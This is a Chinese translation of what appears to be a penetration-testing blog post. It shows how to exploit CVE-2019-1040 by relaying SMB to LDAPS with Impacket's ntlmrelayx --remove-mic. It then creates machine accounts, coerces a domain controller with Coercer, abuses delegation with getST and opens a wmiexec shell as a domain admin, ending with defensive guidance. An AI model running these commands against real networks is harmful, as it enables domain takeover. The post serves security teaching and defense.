绕过NTLM消息完整性检查 - 丢弃MIC

在《SMB中继竞赛 - 如何利用LLMNR和SMB消息签名获取乐趣和收益》中，Jordan Drysdale分享了缺乏SMB签名要求的危险性，并演示了在Active Directory环境中允许攻击者从零权限提升到域管理员（DA）的攻击路径。本文将在该博客讨论的SMB中继技术基础上，演示SMB到LDAP(S)的中继攻击。

背景

机器账户配额

用于确定用户可以将多少台计算机加入域的域属性称为ms-ds-machineaccountquota。默认情况下，任何经过身份验证的域用户最多可以将10台计算机加入Active Directory域。将计算机加入域会创建域对象（计算机对象）。

PowerShell获取机器账户配额

这种配置可能很危险。将计算机加入域应需要管理员批准，组织应制定流程确保域计算机应用标准安全配置、组策略和端点保护。此外，该流程应更新组织的设备清单。

消息完整性

假设我们已在目标组织Foobar的环境中获得了立足点。LDAP仅在域控制器上可用。因此，在LDAP中继攻击中，我们必须以域控制器为目标。我们执行了一些基本侦察，并定位了目标域控制器DC01.foobar.com（10.10.10.1）。

我们可以使用以下Impacket ntlmrelayx.py参数设置针对发现的域控制器的LDAP中继：

• -t：中继凭据的目标
• -wh：启用提供WPAD文件以进行代理身份验证攻击，设置代理主机
• --add-computer – 创建域计算机对象
• -smb2support – SMB版本2支持

完整命令：

1
2
3
4

ntlmrelayx.py \
  -t ldaps://10.10.10.1 \
  -wh bhispad@foobar.com \
  -smb2support

如下图所示，我们通过SMB收到了连接。但是，尝试将SMB中继到LDAP导致以下错误：“[!] 客户端请求签名。中继到LDAP将不起作用！（这通常发生在从SMB中继到LDAP时）。”

SMB到LDAP连接失败

这种行为是预期的。通常，SMB流量无法中继到LDAP(S)。NTLM身份验证包括三种消息类型：NTLM_NEGOTIATE、NTLM_CHALLENGE和NTLM_AUTHENTICATE。一个称为消息完整性代码的字段被添加到NTLM_AUTHENTICATE消息中，以防止消息篡改。

2019年发布的一个漏洞揭示了一个缺陷，允许攻击者绕过NTLM消息完整性检查（MIC）。这个问题被称为“丢弃MIC”漏洞，允许中间人攻击者通过移除完整性检查来篡改NTLM身份验证。当不包括MIC时，来自SMB的连接可以中继到LDAPS。

利用CVE-2019-1040

再次假设我们已在目标组织Foobar的环境中获得了立足点。此时，我们具有网络级别访问权限，并定位了目标域控制器DC01.foobar.com（10.10.10.1）。

简要初始攻击摘要：

• 配置NTLMRelayx以将NTLM身份验证中继到目标域控制器并移除消息完整性
• 配置Responder毒化器，禁用SMB和HTTP服务器
• 等待传入凭据

我们可以通过向Impacket命令添加--remove-mic标志来利用易受CVE-2019-1040影响的系统，并将SMB连接中继到LDAPS。假设目标域具有默认机器账户配额或大于零的策略，我们可以使用--add-computer标志创建计算机对象。如果攻击成功，名为“snowmachine2$”的计算机对象将被添加到目标域。

完整命令如下：

1
2
3
4
5
6

ntlmrelayx.py \
  -t ldaps://10.10.10.1 \
  -wh bhispad@foobar.com \
  --add-computer 'snowmachine2' <PASSWORD>\
  --remove-mic \
  -smb2support

接下来，我们将配置Responder以毒化LLMNR和NetBIOS流量，并通过关闭SMB和HTTP服务器自动将NTLM身份验证传递给我们的Impacket中继。要关闭Responder服务器，我们必须编辑Responder.conf文件：

Responder配置

如下图所示，中继攻击成功。名为FOOBAR/bspears的低权限用户账户的凭据通过LDAPS中继以创建计算机对象snowmachine2$。

创建域计算机对象

我们有效地从网络访问升级到域账户访问。我们可以使用CrackMapExec测试我们的计算机账户凭据并查询ms-ds-machineaccountquota。

1

crackmapexec ldap DC01.foobar.com -u snowmachine2$ -p REDACTED -M MAQ

以Snowmachine2$身份验证并获取MAQ

我们可以使用这些域凭据来枚举域信息并探索权限提升路径。

域接管

如果我们有两个域控制器，并且至少一个域控制器可以被强制向我们的攻击者机器进行身份验证，我们可以通过将一个域控制器的凭据中继到另一个域控制器并创建具有委派权限到域控制器的计算机对象来扩展此攻击。

场景详情：

• 域控制器1：DC01.foobar.com（10.10.10.1）
• 域控制器2：DC02.foobar.com（10.10.10.22）
• 攻击者机器：10.10.10.200
• 拥有的用户：snowmachine2$（可以使用任何域用户账户）
• 已知域管理员账户：DA_Dan

我们可以通过以下过程将权限从标准域计算机账户（snowmachine2$）提升到域管理员账户：

1. 强制域控制器DC02（10.10.10.22）向我们的攻击者机器进行身份验证。
2. 将从域控制器获得的哈希中继到目标域控制器DC01（10.10.10.1）上的LDAPS，并创建另一个具有委派权限到DC02的域对象。
3. 使用新的计算机对象代表域管理员（DA_Dan）请求服务票证以模拟域管理员。

通过向我们的ntlmrelayx.py命令添加--delegate-access标志，我们可以告诉ntlmrelayx创建一个具有委派访问权限到中继账户的计算机对象：

1
2
3
4
5
6
7

ntlmrelayx.py
  -t ldaps://DC01.foobar.com \
  -wh bhispad \
  --add-computer 'DcMachine' <PASSWORD>\
  --delegate-access\
  --remove-mic \
  -smb2support

Coercer是一个Python工具，用于通过滥用各种易受攻击的RPC函数强制Windows机器向攻击者机器进行身份验证。

使用从我们的新计算机账户snowmachine2$获得的域凭据，我们可以使用Coercer强制受害者机器（DC02）向攻击者主机（10.10.10.200）进行身份验证。 注意：在某些情况下，中继攻击可能不需要域凭据。例如，如果受害者主机未针对CVE-2021-36942打补丁。

所需的Coercer参数如下：

• -u - 域用户名
• -p - 用户密码
• -d - 目标域
• -l - 监听器IP（我们的中继）
• -t - 目标

完整的Coercer命令如下：

1
2
3
4
5
6

coercer coerce \
  -u snowmachine2$ \
  -p REDACTED \
  -d foobar.com \
  -l 10.10.10.200 \
  -t DC02.foobar.com

如下所示的Coercer响应[+] (ERROR_BAD_NETPATH)表明强制成功。

强制域控制器DC02

如下图所示，我们成功创建了一个具有委派权限到DC02的计算机对象。

创建域计算机

我们的新计算机账户DcMachine$被创建，具有允许该账户模拟域控制器DC02上任何用户的权限， essentially any domain account including a Domain Admin.

让我们通过模拟域管理员DA_Dan来演示这一点。要模拟域管理员，我们将使用Impacket的getST模块代表DA_Dan请求Kerberos票证。

1
2
3
4
5

getST.py -spn 'cifs/DC02.foobar.come' \
  'foobar.com/DcMachine$' \
  -impersonate 'DA_Dan' \
  -dc-ip 10.10.10.1 
export KRB5CCNAME=DA_Dan.ccache

获取DA_Dan的服务票证

使用Kerberos身份验证，我们可以在DC02上建立交互式shell，模拟域管理员DA_Dan。

1

wmiexec.py -k -no-pass FOOBAR.COM/'DA_Dan'@DC02.foobar.com

模拟域管理员DA_Dan

域管理员DA_Dan

总结，我们通过两次中继攻击成功将权限从网络访问提升到域管理员。每次攻击都将传入的SMB连接中继到LDAPS连接，这是可能的，因为目标系统未针对CVE-2019-1040打补丁。

第一次攻击允许我们通过将SMB连接中继到LDAPS来获得初始的域账户凭据集。

接下来，我们通过第二次中继攻击将权限从标准域计算机账户提升到域管理员账户，该攻击涉及强制域控制器向我们的攻击者机器进行身份验证，并创建另一个具有委派权限到域控制器的计算机对象。

那么，我们如何预防和检测此类攻击？

弱Active Directory对象创建：

• 配置通知关键人员当添加新域对象时
• 确保所有新添加的计算机对象放置在适当的OU中，并应用适当的组策略
• 更新组织的授权设备清单当新计算机加入域时
• 审查MS-DS-MachineAccountQuota属性并禁止非管理性计算机加入域

网络毒化和中继攻击：

• 在所有系统上启用SMB签名
• 通过组策略对象（GPO）在所有客户端上禁用LLMNR
• 禁用NetBIOS名称服务器（NBNS）
• 通过组策略禁用代理自动检测
• 禁用NTLM
• 确保所有系统都针对CVE-2019-1040打补丁
• 实施对恶意RPC调用的检测，并考虑实施RPCFirewall

额外资源

• https://www.blackhillsinfosec.com/mitm6-strikes-again-the-dark-side-of-ipv6/
• https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-for-fun-and-profit/
• https://www.antisyphontraining.com/event/hacking-active-directory-fundamentals-and-techniques/
• https://www.blackhillsinfosec.com/impacket-offense-basics-with-an-azure-lab/
• https://www.blackhillsinfosec.com/impacket-defense-basics-with-an-azure-lab/
• https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
• https://support.microsoft.com/en-us/topic/kb4034879-use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e
• https://github.com/zeronetworks/rpcfirewall
• https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
• https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
• https://www.bleepingcomputer.com/news/security/microsoft-ntlm-flaws-expose-all-windows-machines-to-rce-attacks/
• https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-1040
• https://securityboulevard.com/2019/06/drop-the-mic-cve-2019-1040/
• https://www.rapid7.com/db/vulnerabilities/msft-cve-2019-1040/

参考文献

• https://twitter.com/Rev10D ↩︎
• https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota ↩︎
• https://github.com/fortra/impacket ↩︎
• https://github.com/advisories/GHSA-8vpr-83m7-3f7q ↩︎
• https://nvd.nist.gov/vuln/detail/CVE-2019-1040 ↩︎
• https://github.com/byt3bl33d3r/CrackMapExec ↩︎
• https://github.com/p0dalirius/Coercer ↩︎
• https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942 ↩︎